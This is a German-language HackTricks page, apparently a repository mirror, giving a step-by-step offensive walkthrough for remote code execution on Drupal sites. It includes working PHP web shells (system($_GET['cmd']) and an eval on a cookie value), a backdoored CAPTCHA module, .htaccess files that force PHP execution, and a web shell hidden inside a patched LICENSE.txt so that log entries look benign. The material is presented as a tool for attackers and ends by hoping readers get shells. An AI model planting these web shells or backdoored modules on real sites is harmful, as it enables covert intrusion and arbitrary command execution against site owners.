mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-22 19:13:39 +00:00
270 lines
12 KiB
Markdown
270 lines
12 KiB
Markdown
|
# Drupal RCE
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||
|
|
||
|
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||
|
|
||
|
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||
|
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||
|
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||
|
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||
|
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||
|
|
||
|
</details>
|
||
|
|
||
|
## Mit dem PHP-Filtermodul
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
In älteren Versionen von Drupal **(vor Version 8)** war es möglich, sich als Administrator anzumelden und das `PHP-Filter`-Modul zu aktivieren, das es ermöglicht, "Eingebetteten PHP-Code/Snippets auszuwerten". Ab Version 8 ist dieses Modul jedoch nicht mehr standardmäßig installiert.
|
||
|
{% endhint %}
|
||
|
|
||
|
Sie benötigen das **Plugin PHP, das installiert sein muss** (überprüfen Sie dies, indem Sie auf _/modules/php_ zugreifen und wenn es eine **403** zurückgibt, dann **existiert es**, wenn **nicht gefunden**, dann ist das **Plugin PHP nicht installiert**)
|
||
|
|
||
|
Gehen Sie zu _Module_ -> (**Überprüfen Sie**) _PHP-Filter_ -> _Konfiguration speichern_
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (247) (1).png>)
|
||
|
|
||
|
Klicken Sie dann auf _Inhalt hinzufügen_ -> Wählen Sie _Grundlegende Seite_ oder _Artikel_ -> Schreiben Sie _PHP-Shellcode im Body_ -> Wählen Sie _PHP-Code_ im _Textformat_ -> Wählen Sie _Vorschau_
|
||
|
|
||
|
![](<../../../.gitbook/assets/image (338).png>)
|
||
|
|
||
|
Greifen Sie schließlich einfach auf den neu erstellten Knoten zu:
|
||
|
```bash
|
||
|
curl http://drupal-site.local/node/3
|
||
|
```
|
||
|
## Installieren des PHP-Filter-Moduls
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
In aktuellen Versionen ist es nicht mehr möglich, Plugins nur über den Webzugriff nach der Standardinstallation zu installieren.
|
||
|
{% endhint %}
|
||
|
|
||
|
Ab Version **8** wird das [**PHP-Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **Modul nicht mehr standardmäßig installiert**. Um diese Funktionalität zu nutzen, müssen wir das Modul **selbst installieren**.
|
||
|
|
||
|
1. Laden Sie die neueste Version des Moduls von der Drupal-Website herunter.
|
||
|
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
|
||
|
2. Nach dem Download gehen Sie zu **`Verwaltung`** > **`Berichte`** > **`Verfügbare Updates`**.
|
||
|
3. Klicken Sie auf **`Durchsuchen`**, wählen Sie die Datei aus dem Verzeichnis aus, in das wir sie heruntergeladen haben, und klicken Sie dann auf **`Installieren`**.
|
||
|
4. Nachdem das Modul installiert ist, können wir auf **`Inhalt`** klicken und eine neue Grundseite erstellen, ähnlich wie im Beispiel für Drupal 7. Stellen Sie erneut sicher, dass Sie `PHP-Code` aus dem Dropdown-Menü `Textformat` auswählen.
|
||
|
|
||
|
## Backdoored-Modul
|
||
|
|
||
|
{% hint style="warning" %}
|
||
|
In aktuellen Versionen ist es nicht mehr möglich, Plugins nur über den Webzugriff nach der Standardinstallation zu installieren.
|
||
|
{% endhint %}
|
||
|
|
||
|
Ein backdoored Modul kann erstellt werden, indem **eine Shell zu einem vorhandenen Modul hinzugefügt wird**. Module können auf der drupal.org-Website gefunden werden. Wählen wir ein Modul wie [CAPTCHA](https://www.drupal.org/project/captcha) aus. Scrollen Sie nach unten und kopieren Sie den Link für das tar.gz-[Archiv](https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz).
|
||
|
|
||
|
* Laden Sie das Archiv herunter und extrahieren Sie dessen Inhalt.
|
||
|
```
|
||
|
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
|
||
|
tar xvf captcha-8.x-1.2.tar.gz
|
||
|
```
|
||
|
* Erstellen Sie eine **PHP-Webshell** mit dem Inhalt:
|
||
|
```php
|
||
|
<?php
|
||
|
system($_GET["cmd"]);
|
||
|
?>
|
||
|
```
|
||
|
* Als nächstes müssen wir eine **`.htaccess`**-Datei erstellen, um uns Zugriff auf den Ordner zu verschaffen. Dies ist notwendig, da Drupal den direkten Zugriff auf den **`/modules`**-Ordner verweigert.
|
||
|
```html
|
||
|
<IfModule mod_rewrite.c>
|
||
|
RewriteEngine On
|
||
|
RewriteBase /
|
||
|
</IfModule>
|
||
|
```
|
||
|
* Die oben genannte Konfiguration wird Regeln für den / Ordner anwenden, wenn wir eine Datei in /modules anfordern. Kopieren Sie beide Dateien in den Captcha-Ordner und erstellen Sie ein Archiv.
|
||
|
```bash
|
||
|
mv shell.php .htaccess captcha
|
||
|
tar cvf captcha.tar.gz captcha/
|
||
|
```
|
||
|
* Angenommen, wir haben **administrativen Zugriff** auf die Website, klicken Sie auf **`Verwalten`** und dann auf **`Erweitern`** in der Seitenleiste. Klicken Sie anschließend auf die Schaltfläche **`+ Neues Modul installieren`**, und Sie gelangen zur Installationsseite, z. B. `http://drupal-site.local/admin/modules/install`. Navigieren Sie zum manipulierten Captcha-Archiv und klicken Sie auf **`Installieren`**.
|
||
|
* Nach erfolgreicher Installation navigieren Sie zu **`/modules/captcha/shell.php`**, um Befehle auszuführen.
|
||
|
|
||
|
## Backdooring von Drupal mit Konfigurationssynchronisation <a href="#backdooring-drupal" id="backdooring-drupal"></a>
|
||
|
|
||
|
**Beitrag geteilt von** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
|
||
|
|
||
|
### Teil 1 (Aktivierung von _Media_ und _Media Library_)
|
||
|
|
||
|
Im _Erweitern_ Menü (/admin/modules) können Sie scheinbar bereits installierte Plugins aktivieren. Standardmäßig scheinen die Plugins _Media_ und _Media Library_ nicht aktiviert zu sein, also lassen Sie uns sie aktivieren.
|
||
|
|
||
|
Vor der Aktivierung:
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Nach der Aktivierung:
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (2).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Teil 2 (Nutzung der Funktion _Konfigurationssynchronisation_) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
|
||
|
|
||
|
Wir werden die Funktion _Konfigurationssynchronisation_ nutzen, um Drupal-Konfigurationseinträge zu dumpen (exportieren) und hochzuladen (importieren):
|
||
|
|
||
|
* /admin/config/development/configuration/single/export
|
||
|
* /admin/config/development/configuration/single/import
|
||
|
|
||
|
**Patch system.file.yml**
|
||
|
|
||
|
Beginnen wir mit dem Patchen des ersten Eintrags `allow_insecure_uploads` von:
|
||
|
|
||
|
Datei: system.file.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
allow_insecure_uploads: false
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (3).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Zu:
|
||
|
|
||
|
Datei: system.file.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
allow_insecure_uploads: true
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (4).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Patch field.field.media.document.field\_media\_document.yml**
|
||
|
|
||
|
Dann patchen Sie den zweiten Eintrag `file_extensions` von:
|
||
|
|
||
|
Datei: field.field.media.document.field\_media\_document.yml
|
||
|
```
|
||
|
|
||
|
...
|
||
|
|
||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
|
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
|
||
|
...
|
||
|
```
|
||
|
<figure><img src="../../../.gitbook/assets/image (5).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Zu:
|
||
|
|
||
|
Datei: field.field.media.document.field\_media\_document.yml
|
||
|
```
|
||
|
...
|
||
|
|
||
|
file_directory: '[date:custom:Y]-[date:custom:m]'
|
||
|
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
> Ich verwende es nicht in diesem Blogbeitrag, aber es ist zu beachten, dass es möglich ist, den Eintrag `file_directory` beliebig zu definieren und dass er anfällig für einen Pfadtraversierungsangriff ist (so dass wir innerhalb des Drupal-Dateisystems nach oben gehen können).
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (6).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Teil 3 (Nutzung des Features _Dokument hinzufügen_) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
|
||
|
|
||
|
Der letzte Schritt ist der einfachste und wird in zwei Teilschritte unterteilt. Der erste besteht darin, eine Datei im .htaccess-Format hochzuladen, um die Apache-Direktiven zu nutzen und .txt-Dateien vom PHP-Engine interpretieren zu lassen. Der zweite Schritt besteht darin, eine .txt-Datei hochzuladen, die unser Payload enthält.
|
||
|
|
||
|
Datei: .htaccess
|
||
|
```
|
||
|
<Files *>
|
||
|
SetHandler application/x-httpd-php
|
||
|
</Files>
|
||
|
|
||
|
# Vroum! Vroum!
|
||
|
# We reactivate PHP engines for all versions in order to be targetless.
|
||
|
<IfModule mod_php.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
<IfModule mod_php7.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
<IfModule mod_php5.c>
|
||
|
php_flag engine on
|
||
|
</IfModule>
|
||
|
```
|
||
|
Warum ist dieser Trick cool?
|
||
|
|
||
|
Weil, sobald die Webshell (die wir LICENSE.txt nennen werden) auf den Webserver hochgeladen wird, können wir unsere Befehle über `$_COOKIE` übertragen und in den Webserver-Logs wird dies als legitimer GET-Request zu einer Textdatei angezeigt.
|
||
|
|
||
|
Warum nennen wir unsere Webshell LICENSE.txt?
|
||
|
|
||
|
Einfach weil, wenn wir die folgende Datei nehmen, zum Beispiel [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) (die bereits im Drupal-Kern vorhanden ist), haben wir eine Datei mit 339 Zeilen und 17,6 KB Größe, die perfekt ist, um einen kleinen PHP-Code-Schnipsel in der Mitte hinzuzufügen (da die Datei groß genug ist).
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Datei: Gepatchte LICENSE.txt
|
||
|
```txt
|
||
|
|
||
|
...
|
||
|
|
||
|
this License, you may choose any version ever published by the Free Software
|
||
|
Foundation.
|
||
|
|
||
|
<?php
|
||
|
|
||
|
# We inject our payload into the cookies so that in the logs of the compromised
|
||
|
# server it shows up as having been requested via the GET method, in order to
|
||
|
# avoid raising suspicions.
|
||
|
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
|
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
|
||
|
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
|
||
|
} else {
|
||
|
phpinfo();
|
||
|
}
|
||
|
}
|
||
|
|
||
|
?>
|
||
|
|
||
|
10. If you wish to incorporate parts of the Program into other free
|
||
|
programs whose distribution conditions are different, write to the author
|
||
|
|
||
|
...
|
||
|
|
||
|
```
|
||
|
#### **Teil 3.1 (Datei .htaccess hochladen)**
|
||
|
|
||
|
Zunächst nutzen wir die Funktion _Dokument hinzufügen_ (/media/add/document), um unsere Datei mit den Apache-Direktiven (.htaccess) hochzuladen.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (8).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (9).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (10).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
**Teil 3.2 (Datei LICENSE.txt hochladen)**
|
||
|
|
||
|
Dann nutzen wir erneut die Funktion _Dokument hinzufügen_ (/media/add/document), um eine Webshell hochzuladen, die in einer Lizenzdatei versteckt ist.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (13).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
### Teil 4 (Interaktion mit der Webshell) <a href="#part-4-interaction-with-the-webshell" id="part-4-interaction-with-the-webshell"></a>
|
||
|
|
||
|
Der letzte Teil besteht darin, mit der Webshell zu interagieren.
|
||
|
|
||
|
Wie im folgenden Screenshot gezeigt, erhalten wir das nachfolgende Ergebnis, wenn der von unserer Webshell erwartete Cookie nicht definiert ist und wir die Datei über einen Webbrowser konsultieren.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (14).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Wenn der Angreifer das Cookie setzt, kann er mit der Webshell interagieren und beliebige Befehle ausführen.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (15).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Und wie Sie in den Logs sehen können, scheint nur eine txt-Datei angefordert worden zu sein.
|
||
|
|
||
|
<figure><img src="../../../.gitbook/assets/image (16).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
Vielen Dank, dass Sie sich die Zeit genommen haben, diesen Artikel zu lesen. Ich hoffe, er hilft Ihnen, einige Shells zu erhalten.
|